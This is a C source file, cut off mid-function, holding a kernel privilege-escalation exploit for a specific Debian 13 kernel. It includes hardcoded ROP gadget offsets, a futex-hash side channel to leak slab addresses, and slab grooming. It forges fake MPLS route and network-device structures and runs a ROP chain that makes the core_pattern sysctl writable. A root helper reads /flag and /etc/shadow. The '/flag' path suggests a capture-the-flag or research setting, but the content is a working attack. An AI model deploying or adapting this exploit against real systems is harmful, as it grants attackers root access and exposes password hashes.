1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| /*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/keyctl.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include "kernelsnitch.h"
#include "leak.h"
/* Stock Debian 13, linux-image-6.12.101+deb13-amd64 (6.12.101-1). */
#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define KERNEL_IMAGE_PAGES 22
#define OFF_PIVOT_RBP UINT64_C(0xb28a0)
#define OFF_POP_RSI UINT64_C(0xccc21d)
#define OFF_POP_RDI_RDI UINT64_C(0x8148e0)
#define OFF_WRITE4 UINT64_C(0x2c002e)
#define OFF_CORE_PATTERN_MODE UINT64_C(0x1d8d7ec)
#define OFF_HALT_LOOP UINT64_C(0x5096d)
#define MM_STRUCT_SIZE 1408UL
#define MM_SLAB_ORDER 3UL
#define MM_SLAB_BYTES (PAGE_SIZE << MM_SLAB_ORDER)
#define MM_OBJECTS_PER_SLAB (MM_SLAB_BYTES / MM_STRUCT_SIZE)
#define MM_PARTIALS 10
#define PHYSMAP_SEARCH_BACK (2ULL << 30)
#define PHYSMAP_SEARCH_BYTES (10ULL << 30)
#define FRAG_SEND_LEN (FRAG_LINEAR_LEN + STAGE2_BYTES)
#define FRAG_LINEAR_LEN 3616
#define STAGE2_BYTES MM_SLAB_BYTES
#define ROUTE_OFFSET 0x600UL
#define DEVICE_OFFSET 0x800UL
#define HEADER_OPS_OFFSET 0xd00UL
#define DEV_HEADER_OPS 0x10UL
#define DEV_MTU 0x38UL
#define DEV_NEEDED_HEADROOM 0x3cUL
#define DEV_STATE 0xa8UL
#define DEV_FLAGS 0xb0UL
#define DEV_HARD_HEADER_LEN 0xb4UL
#define DEV_MPLS_PTR 0x428UL
#define DEV_ADDR 0x430UL
#define KEY_PAYLOAD_LEN 104
#define KEY_SPEC_PROCESS_KEYRING -2
#define KEY_SPRAY_MAX 180
#define WRITER_THREADS 4
#define MPLS_NEIGH_TABLE_UNSPEC 3
struct mm_ctx {
size_t count;
pid_t *children;
int *memfds;
};
struct mm_search_range {
struct kernelsnitch_shared_state *ks;
size_t start;
size_t end;
};
struct writer_ctx {
int cpu;
int id;
};
struct sender_ctx {
int ifindex;
unsigned char src[6];
unsigned char dst[6];
int cpu;
};
static struct mm_ctx prepare_ctx;
static struct mm_ctx spray_ctx;
static struct mm_ctx pre_ctx;
static struct mm_ctx post_ctx;
static struct kernelsnitch_shared_state *ks;
static pid_t leak_child;
static int leak_memfd = -1;
static pid_t main_pid;
static atomic_bool stop_flag;
static int won_pipe[2];
static long route_key_serials[KEY_SPRAY_MAX];
static int route_key_count;
static unsigned char route_key_payload[KEY_PAYLOAD_LEN];
static void put8(unsigned char *buffer, size_t length, size_t offset,
uint8_t value)
{
if (offset < length)
buffer[offset] = value;
}
static void put16(unsigned char *buffer, size_t length, size_t offset,
uint16_t value)
{
if (offset + sizeof(value) <= length)
memcpy(buffer + offset, &value, sizeof(value));
}
static void put32(unsigned char *buffer, size_t length, size_t offset,
uint32_t value)
{
if (offset + sizeof(value) <= length)
memcpy(buffer + offset, &value, sizeof(value));
}
static void put64(unsigned char *buffer, size_t length, size_t offset,
uint64_t value)
{
if (offset + sizeof(value) <= length)
memcpy(buffer + offset, &value, sizeof(value));
}
static double monotonic_seconds(void)
{
struct timespec now;
SYSCHK(clock_gettime(CLOCK_MONOTONIC, &now));
return now.tv_sec + now.tv_nsec / 1000000000.0;
}
static void *search_mm_struct_range(void *argument)
{
struct mm_search_range *range = argument;
struct kernelsnitch_shared_state *state = range->ks;
for (size_t slab = range->start; slab < range->end && !state->found;
slab += MM_SLAB_BYTES) {
for (size_t candidate = slab;
candidate < slab + MM_SLAB_BYTES && !state->found;
candidate += state->mm_struct_sz) {
int matches = 1;
for (size_t i = 1; i < state->collisions && matches; i++)
matches = futex_hash(state->futex_addrs[0], candidate) ==
futex_hash(state->futex_addrs[i], candidate);
if (matches) {
state->mm_struct = candidate;
state->found = 1;
}
}
}
return NULL;
}
static void kernelsnitch_bruteforce_physmap(
struct kernelsnitch_shared_state *state, uint64_t physmap)
{
size_t search_start = (physmap - PHYSMAP_SEARCH_BACK) &
~(MM_SLAB_BYTES - 1);
size_t search_end = search_start + PHYSMAP_SEARCH_BYTES;
size_t chunk = (PHYSMAP_SEARCH_BYTES + state->thread_cnt - 1) /
state->thread_cnt;
struct mm_search_range *ranges;
chunk = (chunk + MM_SLAB_BYTES - 1) & ~(MM_SLAB_BYTES - 1);
ranges = calloc(state->thread_cnt, sizeof(*ranges));
if (!ranges)
pr_error("calloc mm search ranges: %m\n");
printf("[.] KernelSnitch search: %#zx-%#zx (%zu threads)\n",
search_start, search_end, state->thread_cnt);
reset_cpu_pin();
for (size_t i = 0; i < state->thread_cnt; i++) {
ranges[i].ks = state;
ranges[i].start = search_start + i * chunk;
ranges[i].end = ranges[i].start + chunk;
if (ranges[i].end > search_end)
ranges[i].end = search_end;
if (pthread_create(&state->tids[i], NULL,
search_mm_struct_range, &ranges[i]))
pr_error("pthread_create mm search: %m\n");
}
for (size_t i = 0; i < state->thread_cnt; i++)
pthread_join(state->tids[i], NULL);
free(ranges);
state->state = state->mm_struct == (size_t)-1 ?
KERNELSNITCH_MM_NOT_FOUND : KERNELSNITCH_MM_FOUND;
}
static void init_ctx(struct mm_ctx *ctx, size_t count)
{
ctx->count = count;
ctx->children = calloc(count, sizeof(*ctx->children));
ctx->memfds = calloc(count, sizeof(*ctx->memfds));
if (!ctx->children || !ctx->memfds)
pr_error("calloc mm context: %m\n");
for (size_t i = 0; i < count; i++)
ctx->memfds[i] = -1;
}
static pid_t clone_sleeper(void)
{
pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0));
if (!child) {
pin_to_core(0);
for (;;)
pause();
}
return child;
}
static pid_t clone_leaker(void)
{
pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0));
if (!child) {
#ifndef PR_FUTEX_HASH_SET_SLOTS
#define PR_FUTEX_HASH_SET_SLOTS 1
#endif
#ifndef PR_FUTEX_HASH
#define PR_FUTEX_HASH 78
#endif
(void)prctl(PR_FUTEX_HASH, PR_FUTEX_HASH_SET_SLOTS, 0, 0);
kernelsnitch_find_collisions(ks);
_exit(0);
}
return child;
}
static int open_mm(pid_t child)
{
char path[64];
snprintf(path, sizeof(path), "/proc/%d/mem", child);
return SYSCHK(open(path, O_RDONLY | O_CLOEXEC));
}
static void kill_child(pid_t child)
{
if (child <= 0)
return;
if (kill(child, SIGKILL) < 0 && errno != ESRCH)
pr_error("kill child: %m\n");
while (waitpid(child, NULL, 0) < 0 && errno == EINTR)
;
}
static void close_ctx_fds(struct mm_ctx *ctx)
{
for (size_t i = 0; i < ctx->count; i++) {
if (ctx->memfds[i] >= 0) {
close(ctx->memfds[i]);
ctx->memfds[i] = -1;
}
}
}
static void kill_ctx_children(struct mm_ctx *ctx)
{
for (size_t i = 0; i < ctx->count; i++) {
kill_child(ctx->children[i]);
ctx->children[i] = 0;
}
}
static void cleanup_children(void)
{
if (getpid() != main_pid)
return;
close_ctx_fds(&prepare_ctx);
close_ctx_fds(&spray_ctx);
close_ctx_fds(&pre_ctx);
close_ctx_fds(&post_ctx);
if (leak_memfd >= 0)
close(leak_memfd);
kill_ctx_children(&prepare_ctx);
kill_ctx_children(&spray_ctx);
kill_ctx_children(&pre_ctx);
kill_ctx_children(&post_ctx);
}
static void allocate_ctx(struct mm_ctx *ctx)
{
for (size_t i = 0; i < ctx->count; i++) {
ctx->children[i] = clone_sleeper();
ctx->memfds[i] = open_mm(ctx->children[i]);
}
}
static uint64_t prepare_known_page(uint64_t physmap, uint64_t slide,
int frag_sv[2])
{
unsigned char *frag_buffer = calloc(1, FRAG_SEND_LEN);
unsigned char *stage2 = calloc(1, STAGE2_BYTES);
uint64_t leaked_mm;
uint64_t page;
double started;
init_ctx(&prepare_ctx, 4 * MM_OBJECTS_PER_SLAB);
init_ctx(&spray_ctx, (1 + MM_PARTIALS) * MM_OBJECTS_PER_SLAB);
init_ctx(&pre_ctx, MM_OBJECTS_PER_SLAB - 1);
init_ctx(&post_ctx, MM_OBJECTS_PER_SLAB);
allocate_ctx(&prepare_ctx);
allocate_ctx(&spray_ctx);
ks = kernelsnitch_setup(MM_STRUCT_SIZE, MM_SLAB_ORDER,
sysconf(_SC_NPROCESSORS_ONLN), 8, 1, 0);
pin_to_core(1);
for (size_t i = 0; i < pre_ctx.count; i++)
pre_ctx.children[i] = clone_sleeper();
leak_child = clone_leaker();
for (size_t i = 0; i < post_ctx.count; i++)
post_ctx.children[i] = clone_sleeper();
for (size_t i = 0; i < pre_ctx.count; i++)
pre_ctx.memfds[i] = open_mm(pre_ctx.children[i]);
leak_memfd = open_mm(leak_child);
for (size_t i = 0; i < post_ctx.count; i++)
post_ctx.memfds[i] = open_mm(post_ctx.children[i]);
kill_ctx_children(&pre_ctx);
kill_ctx_children(&post_ctx);
kill_ctx_children(&spray_ctx);
SYSCHK(waitpid(leak_child, NULL, 0));
leak_child = 0;
if (!kernelsnitch_found_collisions(ks))
pr_error("KernelSnitch collision phase failed\n");
started = monotonic_seconds();
kernelsnitch_bruteforce_physmap(ks, physmap);
leaked_mm = kernelsnitch_cleanup(ks);
ks = NULL;
if (leaked_mm == UINT64_MAX)
pr_error("KernelSnitch address phase failed\n");
page = leaked_mm & ~(MM_SLAB_BYTES - 1);
printf("[+] known slab page=%#llx (search %.3fs)\n",
(unsigned long long)page, monotonic_seconds() - started);
/* Free every object in the selected order-2 slab, preserving the rest. */
pin_to_core(1);
for (size_t i = 0; i < spray_ctx.count / 2;
i += MM_OBJECTS_PER_SLAB) {
close(spray_ctx.memfds[i]);
spray_ctx.memfds[i] = -1;
}
for (size_t i = 0; i < pre_ctx.count; i++) {
close(pre_ctx.memfds[i]);
pre_ctx.memfds[i] = -1;
}
for (size_t i = 0; i + 1 < post_ctx.count; i++) {
close(post_ctx.memfds[i]);
post_ctx.memfds[i] = -1;
}
for (size_t i = spray_ctx.count / 2; i < spray_ctx.count;
i += MM_OBJECTS_PER_SLAB) {
close(spray_ctx.memfds[i]);
spray_ctx.memfds[i] = -1;
}
close(leak_memfd);
leak_memfd = -1;
/* Build the fake route, device, header_ops, and ROP stack. */
memset(stage2, 0, STAGE2_BYTES);
uint64_t route = page + ROUTE_OFFSET;
uint64_t dev = page + DEVICE_OFFSET;
uint64_t hops = page + HEADER_OPS_OFFSET;
uint64_t pivot = KERNEL_BASE + slide + OFF_PIVOT_RBP;
uint64_t pop_rsi = KERNEL_BASE + slide + OFF_POP_RSI;
uint64_t pop_rdi_rdi = KERNEL_BASE + slide + OFF_POP_RDI_RDI;
uint64_t write4 = KERNEL_BASE + slide + OFF_WRITE4;
uint64_t mode = KERNEL_BASE + slide + OFF_CORE_PATTERN_MODE;
uint64_t halt_loop = KERNEL_BASE + slide + OFF_HALT_LOOP;
size_t ro = ROUTE_OFFSET;
size_t nd = DEVICE_OFFSET;
uint64_t *q = (uint64_t *)(stage2 + nd);
/* struct mpls_route: rt_nhn=1 makes rt_nh start at +0x20. */
put8(stage2, STAGE2_BYTES, ro + 20, 1);
put8(stage2, STAGE2_BYTES, ro + 21, 1);
put64(stage2, STAGE2_BYTES, ro + 0x20, dev);
put32(stage2, STAGE2_BYTES, ro + 0x28, 0);
put8(stage2, STAGE2_BYTES, ro + 0x2c, 1);
put8(stage2, STAGE2_BYTES, ro + 0x2e, MPLS_NEIGH_TABLE_UNSPEC);
put32(stage2, STAGE2_BYTES, ro + 0x30, 16U << 12);
/* pc2 pivots to rbp==fake dev; consume header_ops before the chain. */
q[0] = 0;
q[1] = pop_rdi_rdi;
q[2] = hops; /* also dev->header_ops */
q[3] = 0;
q[4] = pop_rsi;
q[5] = mode;
q[6] = pop_rdi_rdi;
q[7] = 0xffff; /* also mtu=65535, headroom=0 */
q[8] = 0x070001b6; /* sysctl mode=0666, maxlen unchanged */
q[9] = write4;
q[10] = halt_loop;
put64(stage2, STAGE2_BYTES, nd + DEV_HEADER_OPS, hops);
put32(stage2, STAGE2_BYTES, nd + DEV_MTU, 65535);
put16(stage2, STAGE2_BYTES, nd + DEV_NEEDED_HEADROOM, 0);
put64(stage2, STAGE2_BYTES, nd + DEV_STATE, 0);
put32(stage2, STAGE2_BYTES, nd + DEV_FLAGS, IFF_UP);
put16(stage2, STAGE2_BYTES, nd + DEV_HARD_HEADER_LEN, 0);
put64(stage2, STAGE2_BYTES, nd + DEV_MPLS_PTR, 0);
put64(stage2, STAGE2_BYTES, nd + DEV_ADDR, page + 0xe00);
put64(stage2, STAGE2_BYTES, HEADER_OPS_OFFSET, pivot);
memset(frag_buffer, 0, FRAG_SEND_LEN);
memcpy(frag_buffer + FRAG_LINEAR_LEN, stage2, STAGE2_BYTES);
struct iovec iov = {
.iov_base = frag_buffer,
.iov_len = FRAG_SEND_LEN,
};
struct msghdr message = {
.msg_iov = &iov,
.msg_iovlen = 1,
};
SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, frag_sv));
if (SYSCHK(sendmsg(frag_sv[0], &message, 0)) != FRAG_SEND_LEN)
pr_error("short known-page sendmsg\n");
printf("[+] staged fake route=%#llx dev=%#llx callback=%#llx\n",
(unsigned long long)route, (unsigned long long)dev,
(unsigned long long)pivot);
close_ctx_fds(&prepare_ctx);
close_ctx_fds(&spray_ctx);
close_ctx_fds(&post_ctx);
kill_ctx_children(&prepare_ctx);
free(stage2);
free(frag_buffer);
return route;
}
static int root_helper(const char *pid_string)
{
char buffer[4096];
int pid = atoi(pid_string);
int pfd = syscall(SYS_pidfd_open, pid, 0);
int out = syscall(SYS_pidfd_getfd, pfd, STDOUT_FILENO, 0);
const char *paths[] = { "/flag", "/etc/shadow" };
if (out >= 0)
dup2(out, STDOUT_FILENO);
(void)!write(STDOUT_FILENO, "DEBIAN_ROOT_OK\n", 15);
for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) {
int fd = open(paths[i], O_RDONLY);
ssize_t length;
if (fd < 0)
continue;
length = read(fd, buffer, sizeof(buffer));
close(fd);
if (length > 0) {
(void)!write(STDOUT_FILENO, buffer, length);
if (buffer[length - 1] != '\n')
(void)!write(STDOUT_FILENO, "\n", 1);
}
}
return 0;
}
static void watch_dirty_mode(void)
{
const char pattern[] = "|/proc/%P/fd/666 %P";
|